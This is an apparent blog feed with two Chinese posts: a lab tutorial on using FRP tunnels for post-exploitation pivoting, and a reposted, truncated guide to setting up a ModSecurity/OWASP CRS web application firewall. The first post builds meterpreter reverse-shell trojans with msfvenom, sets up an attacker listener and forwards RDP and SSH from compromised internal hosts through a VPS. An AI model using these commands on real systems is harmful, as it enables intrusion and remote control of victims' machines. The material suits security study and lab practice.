<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Louisnie</title>
  
  <subtitle>Attitude determines Altitude!</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://louisnie.github.io/"/>
  <updated>2020-02-21T16:57:30.609Z</updated>
  <id>https://louisnie.github.io/</id>
  
  <author>
    <name>Louisnie</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>FRP学习笔记</title>
    <link href="https://louisnie.github.io/2020/02/21/frp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <id>https://louisnie.github.io/2020/02/21/frp学习笔记/</id>
    <published>2020-02-21T14:46:54.241Z</published>
    <updated>2020-02-21T16:57:30.609Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">学习与坐禅相似，须有一颗恒心!</blockquote></p><p><div class="aplayer" data-id="1339550105" data-server="netease" data-type="song" data-mode="single"></div></p><h2 id="简介："><a href="#简介：" class="headerlink" title="简介："></a>简介：</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">FRP(Fast Reverse Proxy) 是一款简单，好用，稳定的隧道工具。FRP 使用 Go 语言开发，它是一款高性能的反向代理应用，可以轻松地进行内网穿透，对外网提供服务。</span><br><span class="line">FRP 支持 TCP、UDP、KCP、HTTP、HTTPS等协议类型，并且支持 Web 服务根据域名进行路由转发。在进行内网渗透中，FRP是常用的一款隧道工具。可以初略理解为一个中转站，</span><br><span class="line">帮助你实现公网&lt;---&gt;FRP服务器&lt;---&gt;家庭内网的连接，让内网的设备可以被公网访问到。</span><br></pre></td></tr></table></figure><p>FRP中文官方教程：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/fatedier/frp/blob/master/README_zh.md</span><br></pre></td></tr></table></figure><h2 id="使用FRP建立隧道："><a href="#使用FRP建立隧道：" class="headerlink" title="使用FRP建立隧道："></a>使用FRP建立隧道：</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">现在有这么一个场景，我们获得了一个位于内网的通过NAT方式对外提供服务的主机的权限，现在我们需要对其所在的内网继续进行渗透。</span><br><span class="line">于是，我们就需要通过FRP建立一个隧道，让我们的主机可以通过隧道访问其内网。</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/20190812174621372.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MTE5MTky,size_16,color_FFFFFF,t_70" alt=""></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">VPS作为FRP的服务器端，地址为：100.20.14.14</span><br><span class="line">边界web服务器作为FRP的客户端，两个网卡，一个网卡绑定这公网地址42.41.52.13，另一个网卡作为内网的网卡</span><br><span class="line">ip地址为192.168.10.10</span><br><span class="line">    </span><br><span class="line">还有两个内网主机地址，分别为192.168.10.20和192.168.10.30</span><br></pre></td></tr></table></figure><p>linux环境下安装FRP</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/fatedier/frp/releases/download/v0.31.2/frp_0.31.2_linux_amd64.tar.gz</span><br><span class="line">tar zxvf frp_0.31.2_linux_amd64.tar.gz </span><br><span class="line">cd frp_0.31.2_linux_amd64/</span><br></pre></td></tr></table></figure><p>windows环境下安装FRP：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/fatedier/frp/releases/download/v0.31.2/frp_0.31.2_windows_amd64.zip</span><br></pre></td></tr></table></figure><p>文件解压之后，有这么几个主要的文件：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">frps：服务器端运行文件</span><br><span class="line">frpc：frp客户端运行文件</span><br><span class="line">frps.ini：frp服务端配置文件</span><br><span class="line">frpc.ini：frp客户端配置文件</span><br><span class="line">frp_full_ini：frp全局配置文件</span><br></pre></td></tr></table></figure><p>配置服务器端：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">vim frps.ini</span><br><span class="line">#填写以下内容</span><br><span class="line">[common]</span><br><span class="line">bind_addr = 0.0.0.0        #绑定的ip，为本机</span><br><span class="line">bind_port = 17000          #绑定的端口</span><br><span class="line">dashboard_addr = 0.0.0.0   #dashboard管理地址</span><br><span class="line">dashboard_port = 27500     #dashboard管理端口</span><br><span class="line">dashboard_user = root      #dashboard管理的用户名</span><br><span class="line">dashboard_pwd  = 123456    #dashboard管理用户的密码</span><br><span class="line">token = 1q2w3e             #客户端服务端连接的密码</span><br><span class="line">heartbeat_timeout = 90     #心跳超时时间</span><br><span class="line">max_pool_count = 5         #最大同时连接数</span><br></pre></td></tr></table></figure><p>保存然后启动服务</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#前台启动</span><br><span class="line">./frps -c frps.ini</span><br></pre></td></tr></table></figure><p><img src="https://pic.downk.cc/item/5e5006cb48b86553ee4ea7d5.jpg" alt=""></p><p>后台启动：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup ./frps -c frps.ini &amp;</span><br></pre></td></tr></table></figure><p>配置客户端：</p><p>编辑frpc.ini</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">server_addr = 192.168.200.128</span><br><span class="line">server_port = 17000           #服务器绑定的端口</span><br><span class="line">token = 1q2w3e                #连接服务器的密码</span><br><span class="line">pool_count = 5        </span><br><span class="line">protocol = tcp                #指定协议类型</span><br><span class="line">health_check_type = tcp</span><br><span class="line">health_check_interval_s = 100</span><br><span class="line">#名字可以自定义，此处为代理名</span><br><span class="line">[test]   </span><br><span class="line">remote_port = 10000           #代理的端口</span><br><span class="line">plugin = socks5               #使用的协议</span><br><span class="line">use_encryption = true         #是否加密</span><br><span class="line">use_compression = true        #是否压缩</span><br></pre></td></tr></table></figure><p>在客户端运行，我这里客户端为windows主机：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">frpc.exe -c frpc.ini</span><br></pre></td></tr></table></figure><p>连接之后，即会有日志传出</p><p><img src="https://pic.downk.cc/item/5e50075448b86553ee4ebd41.jpg" alt=""></p><p>我的拓扑图大致如下：</p><p>192.168.200.128为我的攻击机kali的ip，处于公网中(做实验所以暂定为公网)</p><p>192.168.200.131为边界windows服务器的公网地址(做实验所以暂定为公网)，这个主机也有另一个网卡为192.168.150.129，这个网卡位于内网中</p><p>192.168.150.130位内网主机centos7服务器的ip</p><p><img src="https://pic.downk.cc/item/5e50079a48b86553ee4ec78e.jpg" alt=""></p><p>也可以通过浏览器访问刚刚在配置文件中指定的端口</p><p><img src="https://pic.downk.cc/item/5e5007c348b86553ee4ecdcc.jpg" alt=""></p><p>我们这次设置的代理为socks5 192.168.200.128  10000</p><h2 id="使用FRP映射内网的WEB服务"><a href="#使用FRP映射内网的WEB服务" class="headerlink" title="使用FRP映射内网的WEB服务"></a>使用FRP映射内网的WEB服务</h2><p>现在有个场景，位于内网的主机需要对外提供web服务，于是将内网主机的80端口映射到公网主机的80端口</p><p><img src="https://pic.downk.cc/item/5e50080348b86553ee4ed7e5.jpg" alt=""></p><p>这样我们就可以将192.168.150.129的80端口转发到192.168.200.128这个主机的80端口上啦，那么只需要访问192.168.200.128的80端口即可</p><p>服务端frps.ini的配置如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">bind_addr = 0.0.0.0        #绑定的ip，为本机</span><br><span class="line">bind_port = 17000          #绑定的端口</span><br><span class="line">dashboard_addr = 0.0.0.0   #管理地址</span><br><span class="line">dashboard_port = 27500     #管理端口</span><br><span class="line">dashboard_user = root      #管理的用户名</span><br><span class="line">dashboard_pwd  = 123456    #管理用户的密码</span><br><span class="line">token = 1q2w3e             #客户端服务端连接的密码</span><br><span class="line">heartbeat_timeout = 90     #心跳超时时间</span><br></pre></td></tr></table></figure><p>客户端frpc.ini的配置如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">server_addr = 192.168.200.128  #服务端ip</span><br><span class="line">server_port = 17000           #服务器绑定的端口</span><br><span class="line">token = 1q2w3e                #连接的密码</span><br><span class="line">[HTTP] </span><br><span class="line">type=tcp</span><br><span class="line">local_ip = 127.0.0.1          #本地ip地址</span><br><span class="line">local_port = 80               #要映射的本地端口</span><br><span class="line">remote_port = 80              #要映射的服务端端口</span><br><span class="line">custom_domains=www.test.com   #这个必须要写</span><br></pre></td></tr></table></figure><p>搭建成功</p><p><img src="https://pic.downk.cc/item/5e50082a48b86553ee4edfc7.png" alt=""></p><p>那么便可</p><p>以通过访问192.168.200.128的80端口，即会把流量转发到192.168.150.129的80端口上</p><p><img src="https://pic.downk.cc/item/5e50085748b86553ee4ee633.jpg" alt=""></p><p><img src="https://pic.downk.cc/item/5e50063548b86553ee4e90f8.png" alt=""></p><h2 id="利用FRP映射3389端口"><a href="#利用FRP映射3389端口" class="headerlink" title="利用FRP映射3389端口"></a>利用FRP映射3389端口</h2><p>现在有这么一个场景，我们获得了位于内网的一台主机的权限，并且知道了他的登录用户名和密码。他的3389端口只对内网开放，现在我们需要将该主机的3389端口映射到公网我们的VPS的3389端口，那样，我们连接我们VPS的3389端口就相当于连接内网主机的3389端口了。</p><p>服务端配置：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">bind_addr = 0.0.0.0        #绑定的ip，为本机</span><br><span class="line">bind_port = 17000          #绑定的端口</span><br><span class="line">dashboard_addr = 0.0.0.0   #管理地址</span><br><span class="line">dashboard_port = 27500     #管理端口</span><br><span class="line">dashboard_user = root      #管理的用户名</span><br><span class="line">dashboard_pwd  = 123456    #管理用户的密码</span><br><span class="line">token = 1q2w3e             #客户端服务端连接的密码</span><br><span class="line">heartbeat_timeout = 90     #心跳超时时间</span><br></pre></td></tr></table></figure><p>客户端配置：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">server_addr = 192.168.200.128</span><br><span class="line">server_port = 17000</span><br><span class="line">token = 1q2w3e</span><br><span class="line">[test]</span><br><span class="line">type=tcp</span><br><span class="line">local_ip = 127.0.0.1</span><br><span class="line">local_port = 3389</span><br><span class="line">remote_port = 3389</span><br></pre></td></tr></table></figure><p><img src="https://pic.downk.cc/item/5e50089648b86553ee4eefcc.png" alt=""></p><p><img src="https://pic.downk.cc/item/5e5008b448b86553ee4efe4c.png" alt=""></p><h2 id="FRP实现SSH端口转发"><a href="#FRP实现SSH端口转发" class="headerlink" title="FRP实现SSH端口转发"></a>FRP实现SSH端口转发</h2><p>客户端frpc.ini</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">server_addr = 192.168.150.129</span><br><span class="line">server_port = 7000</span><br><span class="line">[ssh]</span><br><span class="line">type = tcp</span><br><span class="line">local_ip = 127.0.0.1</span><br><span class="line">local_port = 22</span><br><span class="line">remote_port = 6000</span><br></pre></td></tr></table></figure><p>服务端：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">bind_port = 7000</span><br></pre></td></tr></table></figure><p><img src="https://pic.downk.cc/item/5e5008e648b86553ee4f0fcb.png" alt=""></p><h2 id="MSF配合frp"><a href="#MSF配合frp" class="headerlink" title="MSF配合frp"></a>MSF配合frp</h2><p>阿里云主机启动frps</p><p>配置如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">  vim frps.ini</span><br><span class="line">  </span><br><span class="line">#frp服务端与客户端连接端口，frps和frpc必须一致</span><br><span class="line">bind_port = 7000</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">#下面配置可以不写，个人意愿</span><br><span class="line"># 仪表盘端口，只有设置了才能使用仪表盘（即后台）</span><br><span class="line">dashboard_port = 7500</span><br><span class="line"># 仪表盘访问的用户名密码，如果不设置，则默认都是 admin</span><br><span class="line">dashboard_user = admin</span><br><span class="line">dashboard_pwd = admin</span><br></pre></td></tr></table></figure><p>msf生成木马，lhost为kali的地址：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.200.128 LPORT=4444 -f exe &gt; haha.exe</span><br></pre></td></tr></table></figure><p>kali中设置为服务端规则</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">server_addr = 你的云主机ip</span><br><span class="line">server_port = 7000        #frpc工作端口，必须和上面frps保持一致</span><br><span class="line"> </span><br><span class="line">[msf]</span><br><span class="line">type = tcp</span><br><span class="line">local_ip = 127.0.0.1</span><br><span class="line">local_port = 5555          #转发给本机的5555</span><br><span class="line">remote_port = 6000         #服务端用6000端口转发给本机</span><br></pre></td></tr></table></figure><p>  启动frpc： ./frpc -c frpc.ini</p><p><img src="https://pic.downk.cc/item/5e50090a48b86553ee4f1c7f.jpg" alt=""></p><p>kali制作木马，lhost执行阿里云地址，lport为刚刚设置的frpc.ini的remote_port端口</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/meterpreter/reverse_tcp lhost=你的云主机地址  lport=6000 -f exe x&gt;haha.exe</span><br></pre></td></tr></table></figure><p><img src="https://pic.downk.cc/item/5e50092748b86553ee4f26d0.jpg" alt=""></p><p>把木马发给内网主机，然后kali设置监听</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br><span class="line"> </span><br><span class="line">msf &gt; use exploit/multi/handler</span><br><span class="line"> </span><br><span class="line">msf exploit(multi/handler) &gt; set payload windows/meterpreter/reverse_tcp</span><br><span class="line"> </span><br><span class="line">payload =&gt; windows/meterpreter/reverse_tcp</span><br><span class="line"> </span><br><span class="line">msf exploit(multi/handler) &gt; set lhost 127.0.0.1   #设置监听ip，必须和frpc中的local_ip 一致</span><br><span class="line"> </span><br><span class="line">lhost =&gt; 127.0.0.1</span><br><span class="line"> </span><br><span class="line">msf exploit(multi/handler) &gt; set lport 5555        #设置监听端口，与frpc中的local_port一致</span><br><span class="line"> </span><br><span class="line">lport =&gt;5555</span><br><span class="line"> </span><br><span class="line">msf exploit(multi/handler) &gt; exploit</span><br></pre></td></tr></table></figure><p>对方一点击即可获取到shell</p><p><img src="https://pic.downk.cc/item/5e50093f48b86553ee4f2f1b.png" alt=""></p><p><img src="https://wx4.sinaimg.cn/mw690/0078beR7ly1gc4ifjp5fmj31e00jzjs2.jpg" alt=""></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="后渗透" scheme="https://louisnie.github.io/categories/%E5%90%8E%E6%B8%97%E9%80%8F/"/>
    
    
      <category term="工具" scheme="https://louisnie.github.io/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>Nginx+ModSecurity实现WAF防护(转载)</title>
    <link href="https://louisnie.github.io/2019/07/05/modsearcity/"/>
    <id>https://louisnie.github.io/2019/07/05/modsearcity/</id>
    <published>2019-07-05T14:36:28.000Z</published>
    <updated>2019-07-05T14:52:18.957Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">生活的理想，就是为了理想的生活。</blockquote></p><p><div class="aplayer" data-id="25706282" data-server="netease" data-type="song" data-mode="single"></div></p><h2 id="ModSecurity简介"><a href="#ModSecurity简介" class="headerlink" title="ModSecurity简介"></a>ModSecurity简介</h2><p>ModSecurity是一个入侵侦测与防护引擎，它主要是用于Web应用程序，所以也被称为Web应用程序防火墙(WAF)。它可以作为Web服务器的模块或是单独的应用程序来运作。ModSecurity的功能是增强Web Application 的安全性和保护Web application以避免遭受来自已知与未知的攻击。</p><p>ModSecurity计划是从2002年开始，后来由Breach Security Inc.收购，但Breach Security Inc.允诺ModSecurity仍旧为Open Source，并开放源代码给大家使用。最新版的ModSecurity开始支持核心规则集(Core Rule Set)，CRS可用于定义旨在保护Web应用免受0day及其它安全攻击的规则。</p><p>ModSecurity还包含了其他一些特性，如并行文本匹配、Geo IP解析和信用卡号检测等，同时还支持内容注入、自动化的规则更新和脚本等内容。此外，它还提供了一个面向Lua语言的新的API，为开发者提供一个脚本平台以实现用于保护Web应用的复杂逻辑。</p><h2 id="安装ModSecurity"><a href="#安装ModSecurity" class="headerlink" title="安装ModSecurity"></a>安装ModSecurity</h2><p>安装依赖包:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install httpd-devel apr apr-util-devel apr-devel  pcre pcre-devel  libxml2 libxml2-devel zlib zlib-devel openssl openssl-devel</span><br></pre></td></tr></table></figure><p>下载nginx和modsearity</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cd /opt/</span><br><span class="line">#下载modsecurity</span><br><span class="line">[root@localhost opt]# wget -O modsecurity-2.9.1.tar.gz https://github.com/SpiderLabs/ModSecurity/releases/download/v2.9.1/modsecurity-2.9.1.tar.gz</span><br><span class="line">#下载nginx</span><br><span class="line">[root@localhost opt]# wget &apos;http://nginx.org/download/nginx-1.9.2.tar.gz&apos;</span><br></pre></td></tr></table></figure><h2 id="编译安装ModSecurity"><a href="#编译安装ModSecurity" class="headerlink" title="编译安装ModSecurity"></a>编译安装ModSecurity</h2><p>ginx加载ModSecurity模块有两种方式:一种是编译为Nginx静态模块，一种是通过ModSecurity-Nginx Connector加载动态模块。</p><h3 id="方法一：编译为Nginx静态模块"><a href="#方法一：编译为Nginx静态模块" class="headerlink" title="方法一：编译为Nginx静态模块"></a>方法一：编译为Nginx静态模块</h3><ul><li>编译为独立模块(modsecurity-2.9.1)</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# tar zxvf  modsecurity-2.9.1.tar.gz</span><br><span class="line">[root@localhost opt]# cd modsecurity-2.9.1/</span><br><span class="line">[root@localhost modsecurity-2.9.1]# ./autogen.sh</span><br><span class="line">$ [root@localhost modsecurity-2.9.1]# ./configure --enable-standalone-module --disable-mlogc</span><br><span class="line">[root@localhost modsecurity-2.9.1]# make</span><br></pre></td></tr></table></figure><p>注:如果在运行./autogen.sh的时候系统报错,提示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost modsecurity-2.9.1]# ./autogen.sh</span><br><span class="line">#如果出现以下情况</span><br><span class="line">./autogen.sh:行11: libtoolize: 未找到命令</span><br><span class="line">./autogen.sh:行12: autoreconf: 未找到命令</span><br><span class="line">./autogen.sh:行13: autoheader: 未找到命令</span><br><span class="line">./autogen.sh:行14: automake: 未找到命令</span><br><span class="line">./autogen.sh:行15: autoconf: 未找到命令</span><br><span class="line">#表示系统未安装这些软件包,我们用yum安装即可</span><br><span class="line">[root@localhost modsecurity-2.9.1]# yum install automake autoconf libtool</span><br></pre></td></tr></table></figure><ul><li>编译安装Nginx并添加ModSecurity模块</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# tar xzvf nginx-1.9.2.tar.gz</span><br><span class="line"></span><br><span class="line">[root@localhost opt]# cd nginx-1.9.2</span><br><span class="line">[root@localhost nginx-1.9.2]# ./configure --add-module=/opt/modsecurity-2.9.1/nginx/modsecurity</span><br><span class="line">[root@localhost nginx-1.9.2]# make &amp;&amp; make install</span><br></pre></td></tr></table></figure><h3 id="方法二：编译通过ModSecurity-Nginx-Connector加载的动态模块"><a href="#方法二：编译通过ModSecurity-Nginx-Connector加载的动态模块" class="headerlink" title="方法二：编译通过ModSecurity-Nginx Connector加载的动态模块"></a>方法二：编译通过ModSecurity-Nginx Connector加载的动态模块</h3><ul><li>编译LibModSecurity(modsecurity-3.0)</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ cd /root$ git clone https://github.com/SpiderLabs/ModSecurity</span><br><span class="line">$ cd ModSecurity</span><br><span class="line">$ git checkout -b v3/master origin/v3/master</span><br><span class="line">$ sh build.sh$ git submodule init</span><br><span class="line">$ git submodule update</span><br><span class="line">$ ./configure</span><br><span class="line">$ make</span><br><span class="line">$ make install</span><br></pre></td></tr></table></figure><p>LibModSecurity会安装在<code>/usr/local/modsecurity/lib</code>目录下。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ ls /usr/local/modsecurity/lib</span><br><span class="line">libmodsecurity.a  libmodsecurity.la  libmodsecurity.so  libmodsecurity.so.3  libmodsecurity.so.3.0.0</span><br></pre></td></tr></table></figure><ul><li>编译安装Nginx并添加ModSecurity-Nginx Connector模块</li></ul><p>使用ModSecurity-Nginx模块来连接LibModSecurity</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ cd /opt</span><br><span class="line">$ git clone https://github.com/SpiderLabs/ModSecurity-nginx.git modsecurity-nginx</span><br><span class="line">$ tar xzvf nginx-1.9.2.tar.gz</span><br><span class="line">$ cd nginx-1.9.2$ ./configure --add-module=/root/modsecurity-nginx</span><br><span class="line">$ make$ make &amp;&amp; make install</span><br></pre></td></tr></table></figure><h2 id="添加OWASP规则"><a href="#添加OWASP规则" class="headerlink" title="添加OWASP规则"></a>添加OWASP规则</h2><h3 id="OWASP-CRS"><a href="#OWASP-CRS" class="headerlink" title="OWASP CRS"></a>OWASP CRS</h3><p>OWASP ModSecurity核心规则集（CRS）是一组用于ModSecurity或兼容的Web应用程序防火墙的通用攻击检测规则。CRS旨在保护Web应用程序免受各种攻击，包括OWASP十大攻击，并且只需最少的虚假警报。ModSecurity之所以强大就在于OWASP提供的规则，我们可以根据自己的需求选择不同的规则，也可以通过ModSecurity手工创建安全过滤器、定义攻击并实现主动的安全输入验证。</p><p>ModSecurity核心规则集(CRS)提供以下类别的保护来防止攻击。</p><ul><li>HTTP Protection(HTTP防御)</li></ul><p>HTTP协议和本地定义使用的detects violations策略。</p><ul><li>Real-time Blacklist Lookups(实时黑名单查询)</li></ul><p>利用第三方IP名单。</p><ul><li>HTTP Denial of Service Protections(HTTP的拒绝服务保护)</li></ul><p>防御HTTP的洪水攻击和HTTP Dos攻击。</p><ul><li>Common Web Attacks Protection(常见的Web攻击防护)</li></ul><p>检测常见的Web应用程序的安全攻击。</p><ul><li>Automation Detection(自动化检测)</li></ul><p>检测机器人，爬虫，扫描仪和其他表面恶意活动。</p><ul><li>Integration with AV Scanning for File Uploads(文件上传防病毒扫描)</li></ul><p>检测通过Web应用程序上传的恶意文件。</p><ul><li>Tracking Sensitive Data(跟踪敏感数据)</li></ul><p>信用卡通道的使用，并阻止泄漏。</p><ul><li>Trojan Protection(木马防护)</li></ul><p>检测访问木马。</p><ul><li>Identification of Application Defects(应用程序缺陷的鉴定)</li></ul><p>检测应用程序的错误配置警报。</p><ul><li>Error Detection and Hiding(错误检测和隐藏)</li></ul><p>检测伪装服务器发送错误消息。</p><h3 id="下载OWASP规则并生成配置文件"><a href="#下载OWASP规则并生成配置文件" class="headerlink" title="下载OWASP规则并生成配置文件"></a>下载OWASP规则并生成配置文件</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git</span><br><span class="line">[root@localhost opt]# cp -rf owasp-modsecurity-crs /usr/local/nginx/conf/</span><br><span class="line">[root@localhost opt]# cd /usr/local/nginx/conf/owasp-modsecurity-crs/</span><br><span class="line">[root@localhost owasp-modsecurity-crs]# cp crs-setup.conf.example crs-setup.conf</span><br></pre></td></tr></table></figure><h3 id="配置OWASP规则"><a href="#配置OWASP规则" class="headerlink" title="配置OWASP规则"></a>配置OWASP规则</h3><p>编辑crs-setup.conf文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ sed -ie &apos;s/SecDefaultAction &quot;phase:1,log,auditlog,pass&quot;/#SecDefaultAction &quot;phase:1,log,auditlog,pass&quot;/g&apos; crs-setup.conf</span><br><span class="line">$ sed -ie &apos;s/SecDefaultAction &quot;phase:2,log,auditlog,pass&quot;/#SecDefaultAction &quot;phase:2,log,auditlog,pass&quot;/g&apos; crs-setup.conf</span><br><span class="line">$ sed -ie &apos;s/#.*SecDefaultAction &quot;phase:1,log,auditlog,deny,status:403&quot;/SecDefaultAction &quot;phase:1,log,auditlog,deny,status:403&quot;/g&apos; crs-setup.conf</span><br><span class="line">$ sed -ie 